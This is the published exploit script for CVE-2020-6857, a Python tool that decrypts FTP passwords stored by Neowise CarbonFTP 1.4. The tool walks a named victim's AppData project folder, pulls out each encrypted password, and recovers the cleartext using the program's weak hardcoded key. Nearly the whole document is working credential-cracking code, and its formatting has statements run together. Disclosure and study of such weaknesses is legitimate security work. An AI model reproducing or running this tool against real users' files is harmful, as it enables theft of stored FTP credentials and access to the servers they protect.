# Title: Neowise CarbonFTP 1.4 - Insecure Proprietary Password Encryption# Date: 2020-04-20# Author: hyp3rlinx# Vendor:# CVE: CVE-2020-6857
import time, string, sys, argparse, os, codecs
#Fixed: updated for Python 3, the hex decode() function was not working in Python 3 version.#This should be compatible for Python 2 and 3 versions now, tested successfully.#Sample test password #LOOOOONGPASSWORD! = 219042273422734224782298223744247862350210947
key="97F"#2431 in decimal, the weak hardcoded encryption key within the vuln program.
chunk_sz=5 #number of bytes we must decrypt the password by.#Password is stored here:#C:\Users\<VICTIM>\AppData\Roaming\Neowise\CarbonFTPProjects\<FILE>.CFTP#Neowise CarbonFTP v1.4#Insecure Proprietary Password Encryption#By John Page (aka hyp3rlinx)#Apparition Security#===================================================
def carbonftp_conf(conf_file):
p=""
pipe=-1
passwd=""
lst_of_passwds=[]try:
for p in conf_file:
idx = p.find("Password=STRING|")if idx != -1:
pipe = p.find("|")if pipe != -1:
passwd = p[pipe + 2: -2]
print(" Password found: "+ passwd)
lst_of_passwds.append(passwd)
except Exception as e:
print(str(e))return lst_of_passwds
def reorder(lst):
k=1
j=0
for n in range(len(lst)):
k+=1
j+=1
try:
tmp = lst[n+k]
a = lst[n+j]
lst[n+j] = tmp
lst[n+k] = a
except Exception as e:
pass
return''.join(lst)
def dec2hex(dec):
tmp = str(hex(int(dec)))return str(tmp[2:])#Updated for Python version compatibility.
def hex2ascii(h):
h=h.strip()
passwd=""try:
passwd = codecs.decode(h,"hex").decode("ascii")
except Exception as e:
print("[!] In hex2ascii(), not a valid hex string.")exit()return passwd
def chunk_passwd(passwd_lst):
lst = []for passwd in passwd_lst:
while passwd:
lst.append(passwd[:chunk_sz])
passwd = passwd[chunk_sz:]return lst
def strip_non_printable_char(str):
return''.join([x for x in str if ord(x) > 31 or ord(x)==9])
cnt = 0
passwd_str=""
def deob(c):
global cnt, passwd_str
tmp=""try:
tmp = int(c)- int(key, 16)
tmp = dec2hex(tmp)
except Exception as e:
print("[!] Not a valid CarbonFTP encrypted password.")exit()
b=""
a=""#Seems we can delete the second char as its most always junk.if cnt!=1:
a = tmp[:2]
cnt+=1
else:
b = tmp[:4]
passwd_str += strip_non_printable_char(hex2ascii(a + b))
hex_passwd_lst = list(passwd_str)return hex_passwd_lst
def no_unique_chars(lst):
c=0
k=1
j=0
for i in range(len(lst)):
k+=1
j+=1
try:
a = lst[i]
b = lst[i+1]if a != b:
c+=1
elif c==0:
print("[!] Possible one char password?: "+str(lst[0]))return lst[0]
except Exception as e:
pass
return False
def decryptor(result_lst):
global passwd_str, sz
print(" Decrypting ... \n")for i in result_lst:
print("[-] "+i)
time.sleep(0.1)
lst = deob(i)#Re-order chars to correct sequence using custom swap function (reorder).
reordered_pass = reorder(lst)
sz = len(reordered_pass)#Flag possible single char password.
no_unique_chars(lst)
print("[+] PASSWORD LENGTH: "+ str(sz))if sz == 9:
return(reordered_pass[:-1]+" | "+ reordered_pass[:-2]+" | "+ reordered_pass[:-3]+" | "+ reordered_pass[:-4]+" | "+
reordered_pass[:-5]+" | "+ reordered_pass[:-6]+" | "+ reordered_pass[:-7]+" | "+ reordered_pass)#Shorter passwords less then nine chars will have several candidates#as they get padded with repeating chars so we return those.
passwd_str=""return reordered_pass
def display_cracked_passwd(sz, passwd):
if sz==9:
print("[*] PASSWORD CANDIDATES: "+ passwd +"\n")else:
print("[*] DECRYPTED PASSWORD: "+passwd +"\n")
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u","--user", help="Username to crack a directory of Carbon .CFTP password files")
parser.add_argument("-p","--encrypted_password", help="Crack a single encrypted password")return parser.parse_args()
def main(args):
global passwd_str, sz
victim=""if args.user and args.encrypted_password:
print("[!] Supply a victims username -u or single encrypted password -p, not both.")exit()
print("[+] Neowise CarbonFTP v1.4")
time.sleep(0.1)
print("[+] CVE-2020-6857 Insecure Proprietary Password Encryption")
time.sleep(0.1)
print("[+] Version 2 Exploit fixed for Python 3 compatibility")
time.sleep(0.1)
print("[+] Discovered and cracked by hyp3rlinx")
time.sleep(0.1)
print("[+] ApparitionSec\n")
time.sleep(1)#Crack a dir of carbonFTP conf files containing encrypted passwords -u flag.if args.user:
victim = args.user
os.chdir("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/")
dir_lst = os.listdir(".")for c in dir_lst:
f=open("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/"+c,"r")#Get encrypted password from conf file
passwd_enc = carbonftp_conf(f)#Break up into 5 byte chunks as processed by the proprietary decryption routine.
result_lst = chunk_passwd(passwd_enc)#Decrypt the 5 byte chunks and reassemble to the cleartext password.
cracked_passwd = decryptor(result_lst)#Print cracked password or candidates.
display_cracked_passwd(sz, cracked_passwd)
time.sleep(0.3)
passwd_str=""
f.close()#Crack a single password -p flag.if args.encrypted_password:
passwd_to_crack_lst = []
passwd_to_crack_lst.append(args.encrypted_password)
result = chunk_passwd(passwd_to_crack_lst)#Print cracked password or candidates.
cracked_passwd = decryptor(result)
display_cracked_passwd(sz, cracked_passwd)if __name__=="__main__":
parser = argparse.ArgumentParser()if len(sys.argv)==1:
parser.print_help(sys.stderr)exit()
main(parse_args())